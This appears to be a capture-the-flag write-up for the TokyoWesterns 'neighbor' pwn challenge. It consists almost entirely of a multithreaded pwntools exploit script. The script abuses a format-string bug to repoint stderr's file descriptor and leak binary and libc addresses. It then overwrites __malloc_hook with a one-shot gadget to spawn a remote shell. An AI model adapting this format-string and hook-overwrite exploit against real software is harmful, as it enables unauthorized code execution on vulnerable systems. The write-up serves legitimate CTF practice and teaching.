Tags: pwn 

Rating: 5.0

Flag: `TWCTF{You_understand_FILE_structure_well!1!1}` :P
```
from pwn import *
import threading
import signal

THREADS = 20
LOCAL = False

STOP = False
COUNTER = 0

def worker():
global LOCAL, STOP, COUNTER
while True:
if STOP:
break

if LOCAL:
s = process('./neighbor', env = {"LD_PRELOAD": "./libc.so.6"}, stderr = open('/dev/null', 'w+'), level = 'error')
else:
s = remote('neighbor.chal.ctf.westerns.tokyo', 37565, level = 'error')

COUNTER += 1
log.info('Attempt #{}...'.format(COUNTER))

# Hello neighbor!
s.recvline()

# Please tell me about yourself. I must talk about you to our mayor.
s.recvline()

# assuming stack layout at fprintf call is like this:

# gdb-peda$ x/20gx $rsp
# 0x7fffffffed30: 0x00007ffff7dd2520 0x00007ffff7dd2520 # %5, %6
# 0x7fffffffed40: 0x00007fffffffed60 0x00007ffff7dd2520 # %7, %8
# 0x7fffffffed50: 0x00007fffffffed60 0x0000555555554962 # %9, %10
# 0x7fffffffed60: 0x00007fffffffed70 0x00005555555549d7 # %11, %12
# 0x7fffffffed70: 0x00005555555549f0 0x00007ffff7a303f1 # %13, %14
# 0x7fffffffed80: 0x0000000000040000 0x00007fffffffee58 # %15, %16
# 0x7fffffffed90: 0x00000001f7b9a508 0x0000555555554965 # %17, %18
# 0x7fffffffeda0: 0x0000000000000000 0x69876215140821cc # %19, %20
# ...
# %9 points to %11
# %5, %6, %8 all point to _IO_2_1_stderr_
# %8 = rbp-0x8 = first argument to fprintf

try:
s.sendline('%{}c%9$hhn'.format(0x38)) # make %11 point to %6
s.sendline('%{}c%11$hhn'.format(0x90)) # make %6 point to _IO_2_1_stderr_->fileno
s.sendline('%{}c%6$hhn'.format(0x1)) # overwrite _IO_2_1_stderr_->fileno with 1

if s.recv(timeout=4):
if STOP:
break

STOP = True
log.success('got output!')

s.sendline('%13$lu.%14$lu.%8$lu')
binary_base, libc_base, malloc_hook = map(int, s.recvline().strip().split('.'))

binary_base -= 0x9f0
libc_base -= 0x203f1
malloc_hook -= 0xa30
one_shot = libc_base + 0x4557a

log.success('binary @ ' + hex(binary_base))
log.success('libc @ ' + hex(libc_base))
log.success('__malloc_hook @ ' + hex(malloc_hook))
log.success('one_shot @ ' + hex(one_shot))

log.info('putting __malloc_hook address on stack ...')

# make %11 point to %19
s.sendline('%{}c%9$hhn'.format(0xa0))
s.recvline()
s.sendline('%{}c%11$hn'.format(malloc_hook & 0xffff))
s.recvline()

s.sendline('%{}c%9$hhn'.format(0xa0 + 2))
s.recvline()
s.sendline('%{}c%11$hn'.format((malloc_hook >> 16) & 0xffff))
s.recvline()

s.sendline('%{}c%9$hhn'.format(0xa0 + 4))
s.recvline()
s.sendline('%{}c%11$hn'.format((malloc_hook >> 32) & 0xffff))
s.recvline()

# make %11 point to %19
s.sendline('%{}c%9$hhn'.format(0xa0))
s.recvline()

# __malloc_hook address is now at %19
log.info('writing one_shot gadget to __malloc_hook ...')

s.sendline('%{}c%19$hn'.format(one_shot & 0xffff))
s.recvline()
s.sendline('%{}c%11$hn'.format((malloc_hook + 2) & 0xffff))
s.recvline()
s.sendline('%{}c%19$hn'.format((one_shot >> 16) & 0xffff))
s.recvline()

# trigger call to __malloc_hook
log.info('triggering __malloc_hook ...')
s.sendline('%66000c')

log.success('pwned!')

s.interactive()
s.close()
except EOFError:
continue
try:
for w in range(THREADS):
t = threading.Thread(target=worker)
t.daemon = True
t.start()

signal.pause()
except (KeyboardInterrupt, SystemExit):
log.info('received keyboard interrupt, quitting threads.')
```